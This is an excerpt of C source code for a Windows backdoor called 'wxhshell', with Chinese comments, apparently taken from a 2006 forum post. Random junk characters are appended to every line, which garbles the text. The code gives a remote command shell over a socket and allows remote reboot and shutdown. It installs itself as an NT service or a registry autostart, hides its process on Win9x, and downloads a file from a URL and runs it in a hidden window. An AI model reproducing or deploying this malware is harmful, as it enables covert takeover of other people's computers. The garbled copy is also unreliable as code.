  } ^CWxYDG*  
  else { K:\db'``  
`bx}!;{lx  
    switch(cmd[0]) { ~v+A6N:qC  
  L5-Kw+t  
  // 帮助 HE0@`(mCpa  
  case '?': { zUCtH*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `rLy7\@;  
    break; ROc)LCA  
  } u >W:SM  
  // 安装 Iurb?  
  case 'i': { ueD_<KjE=  
    if(Install()) b6y/o48  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oj?  |g_  
    else "fTW2D74  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +#a_Y  
    break; 0v/}W(  
    } M!j: 2dT"  
  // 卸载 qZz?i  
  case 'r': { ] 3UlF'{  
    if(Uninstall()) VA^yv1We  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a(BEm_l3  
    else dnW#"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %SHgXd#X  
    break; ,KyG^;Riy  
    } N& 683z  
  // 显示 wxhshell 所在路径 zm7IkYF  
  case 'p': { #Z)8,N  
    char svExeFile[MAX_PATH]; ljw(cUM  
    strcpy(svExeFile,"\n\r"); }> pNf  
      strcat(svExeFile,ExeFile); S7Tc9"oqV  
        send(wsh,svExeFile,strlen(svExeFile),0); D`e6#1DbJ  
    break; BhcTPQsW  
    } nS5g!GYY,k  
  // 重启 2:4:Q[{A  
  case 'b': { zOfMKrRG  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6*u WRjt  
    if(Boot(REBOOT)) (SnrY O`#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7i@vj7K  
    else { dbG5Cf#K\  
    closesocket(wsh); ys~oJb~  
    ExitThread(0); de<T5/  
    } "1iLfQ  
    break; Q%Fa1h:2&  
    } fp`k1Uq@  
  // 关机 {)L*\r  
  case 'd': { r-aCa/4y!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~( ~ y=M  
    if(Boot(SHUTDOWN)) >o_cf*nx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u4QBD5T"  
    else { (aTpBXGr=  
    closesocket(wsh); 4!k 0  
    ExitThread(0); L7rH=gZ&!]  
    } ~M?^T$5  
    break; ^|j @' @L  
    } ]r\d 5  
  // 获取shell 1[k.apn  
  case 's': { hqwDlapTt  
    CmdShell(wsh); Hph$Z 1{  
    closesocket(wsh); C=zc6C,  
    ExitThread(0); Vu1swq)l  
    break; @5:#J !  
  } mi& mQQ  
  // 退出 tB/'3#o  
  case 'x': { 5`QN<4?%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dc=~EG-_rM  
    CloseIt(wsh); %SKJ#b  
    break;  57`*5X  
    } YU6D;  
  // 离开 L[a A4`  
  case 'q': { E~K5n2CI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f C_H0h3  
    closesocket(wsh); H5X.CcI&}  
    WSACleanup(); r t\eze_5A  
    exit(1); "Iu Pg=|#  
    break; 8d|#W  
        } +txHj(Y`  
  } U%u%_{-  
  } Fsi;[be$A  
D wtvtglqV  
  // 提示信息 q2}6lf,J K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [Zj6v a  
} ^nGKuW7\  
  } Z.E@aml\  
=?oYEO7  
  return; 3`U^sr:[%  
} }]!?t~5*  
:vo#(  
// shell模块句柄 kB3@;z:  
int CmdShell(SOCKET sock) O&@pi-=o  
{ ay`A Gr  
STARTUPINFO si; .0b4"0~T6  
ZeroMemory(&si,sizeof(si)); ? e<D +  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ''3b[<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _sX@BE  
PROCESS_INFORMATION ProcessInfo; K1_#Jhz  
char cmdline[]="cmd"; ^\3r}kJ0Lp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7j~}M(s"  
  return 0; r$<4_*  
} w6<zPrA  
_4-UM2o;  
// 自身启动模式 CEEAyip-c  
int StartFromService(void) V PaW-o  
{ p|RFpn2ygF  
typedef struct Qoom[@$  
{ !v68`l15  
  DWORD ExitStatus; (y!V0iy]  
  DWORD PebBaseAddress; L7OFZ|gUz  
  DWORD AffinityMask; kS1?%E,)q  
  DWORD BasePriority; <BX'Owbs!O  
  ULONG UniqueProcessId; ukwO%JAr  
  ULONG InheritedFromUniqueProcessId; #2*6esP  
}   PROCESS_BASIC_INFORMATION; klxNGxWAX  
MR}h}JEx0  
PROCNTQSIP NtQueryInformationProcess; cVuT|b^  
9`Zwa_Tni  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :>3/*"vx?G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *EllE+M{n  
r31)Ed$  
  HANDLE             hProcess; ~tB#Q6`nB  
  PROCESS_BASIC_INFORMATION pbi; ~d"9?K^#  
kmur={IR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )m<CmYr2  
  if(NULL == hInst ) return 0; J e.%-7f  
o%)38T*n3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b<\aJb{2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +(/' b' *  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N"-U)d-.  
K6G+sBw[  
  if (!NtQueryInformationProcess) return 0; Qa@] sWcM  
m ^ '!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B*&HQW *u  
  if(!hProcess) return 0; ihBIE  
Cd'`rs}3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,}a'h4C  
&b9bb{y_$K  
  CloseHandle(hProcess); $q 9dkt  
$b`~KMO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4H_QQ6  
if(hProcess==NULL) return 0; e=sV>z>  
Yc2dq e>  
HMODULE hMod; 0}qnq"  
char procName[255]; Jm[_X  
unsigned long cbNeeded; +V9<ug6 T  
PS'SIX  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1g>>{ y  
++Fv )KY@  
  CloseHandle(hProcess); /y[zOT6  
3F?_{A  
if(strstr(procName,"services")) return 1; // 以服务启动 !~ fy".|x  
6YF<GF{  
  return 0; // 注册表启动 nl+8C}=u  
} ,KFF[z  
fX{Xw0  
// 主模块 e_3($pj  
int StartWxhshell(LPSTR lpCmdLine) 5#B M  
{ Zr|z!S?aSC  
  SOCKET wsl; &h'NC%"v  
BOOL val=TRUE; M~P h/  
  int port=0; 5nS}h76mZ  
  struct sockaddr_in door; H{ I,m-  
s}g3*_"  
  if(wscfg.ws_autoins) Install(); tf4clzSTa  
]:}x 4O#  
port=atoi(lpCmdLine); 6oy[0hj  
/0(c-Dv  
if(port<=0) port=wscfg.ws_port; BNq6dz$J  
;X%8I$Ba,  
  WSADATA data; C8AR ^F W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T07 AH  
80"oT'ZFh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3='Kii=LA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eZMfn$McJv  
  door.sin_family = AF_INET; <K {|#ND#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N?><%fra  
  door.sin_port = htons(port); ~'VVCtA  
KS Q*HO)5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ws;X;7tS  
closesocket(wsl); vpz l{  
return 1; e`bP=7`0  
} ~*hCTqH vN  
j5MUP&/g3  
  if(listen(wsl,2) == INVALID_SOCKET) { t`pbEjE0K  
closesocket(wsl); ZDbzH=[  
return 1; w-P;E!gTt  
} y,Z2`Zmu  
  Wxhshell(wsl); ("P]bU+'>  
  WSACleanup(); 3T~DeqAyw  
c!]Q0ib6  
return 0; g>;"Fymc'  
Iwe  
} i0'g$  
F!zGk(Pu  
// 以NT服务方式启动 =k##*%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {Lugdf'  
{ ?eDZ-u9)  
DWORD   status = 0; &EJ/Rl  
  DWORD   specificError = 0xfffffff; 79Ur1-]/  
vf?Xt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GsU.Lkf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bwe)_<c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9v?rNJs  
  serviceStatus.dwWin32ExitCode     = 0; }#phNn6  
  serviceStatus.dwServiceSpecificExitCode = 0; R#4f_9e<Z  
  serviceStatus.dwCheckPoint       = 0; Mw|lEctN0  
  serviceStatus.dwWaitHint       = 0; hp$1c  
]e(\<R6Gf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <$Dj ags,F  
  if (hServiceStatusHandle==0) return; kJpr:4;@_  
UL]zuW/  
status = GetLastError(); BMItHn].  
  if (status!=NO_ERROR) [BKOK7QK|  
{ cK\'D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %|B$y;q^3  
    serviceStatus.dwCheckPoint       = 0; N9 TM  
    serviceStatus.dwWaitHint       = 0; ;^cMP1SH  
    serviceStatus.dwWin32ExitCode     = status; tY%T  
    serviceStatus.dwServiceSpecificExitCode = specificError; -%TwtO<$']  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -q&7q  
    return; X/FRe[R  
  } G6pR?K+  
V)]lca  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CPcB17!  
  serviceStatus.dwCheckPoint       = 0; X3HJ3F;==  
  serviceStatus.dwWaitHint       = 0; %J+k.UrM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8^!ib/@v"  
} |}Mthj9n  
^+x,211f  
// 处理NT服务事件,比如:启动、停止 ]-jaIvM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Au"BDP  
{ TGuCIc0B{  
switch(fdwControl) t(1gJZs>kX  
{ T'a&  
case SERVICE_CONTROL_STOP: `a5,5}7v%`  
  serviceStatus.dwWin32ExitCode = 0; A`1-c   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &'u%|A@  
  serviceStatus.dwCheckPoint   = 0; ';LsEI[  
  serviceStatus.dwWaitHint     = 0; <K <|G  
  { <SiJA`(7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lw`}o`D  
  } uTvf[%EHW  
  return; N`O0jH{  
case SERVICE_CONTROL_PAUSE: >N"=10  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )3^#CD  
  break; pV*d"~T  
case SERVICE_CONTROL_CONTINUE: @ 1FWBH~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; jQ['f\R  
  break; [ nLd>2P  
case SERVICE_CONTROL_INTERROGATE: `KUL 4) g~  
  break; g ,yB^^%  
}; GW2v&Ul7(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K~+x@O*  
} A>6_h1  
Awe'MGp%  
// 标准应用程序主函数 et<@3wyd]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]F #0to  
{ f{U,kCv  
?f*>=;7=  
// 获取操作系统版本 j-v/;7s/B  
OsIsNt=GetOsVer(); Sg1 ,9[pb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G Q}Rxu]  
j]m|}n  
  // 从命令行安装 XsX];I{E,  
  if(strpbrk(lpCmdLine,"iI")) Install(); 'y7<!uo?  
^_/gM[H.  
  // 下载执行文件 YGhHIziI  
if(wscfg.ws_downexe) { x$KQ*P~q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L#fSP  
  WinExec(wscfg.ws_filenam,SW_HIDE); +/r h8?  
} -^t&U] g  
TIxlLOs  
if(!OsIsNt) { |;R-q8  
// 如果时win9x,隐藏进程并且设置为注册表启动 =z'533C  
HideProc(); jV' tcFr4  
StartWxhshell(lpCmdLine); i}@5<&J  
} =Ds&ArG  
else ~zDFL15w  
  if(StartFromService()) JC9OL.Ob  
  // 以服务方式启动 :@S=0|:j  
  StartServiceCtrlDispatcher(DispatchTable); 02C;  
else A+VzpJ~  
  // 普通方式启动 ^+Njz{rpG  
  StartWxhshell(lpCmdLine); z5W;-sCz  
J7k=5Fqej;  
return 0; zwK$ q=-:  
}
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只看该作者 1 发表于: 2006-10-10
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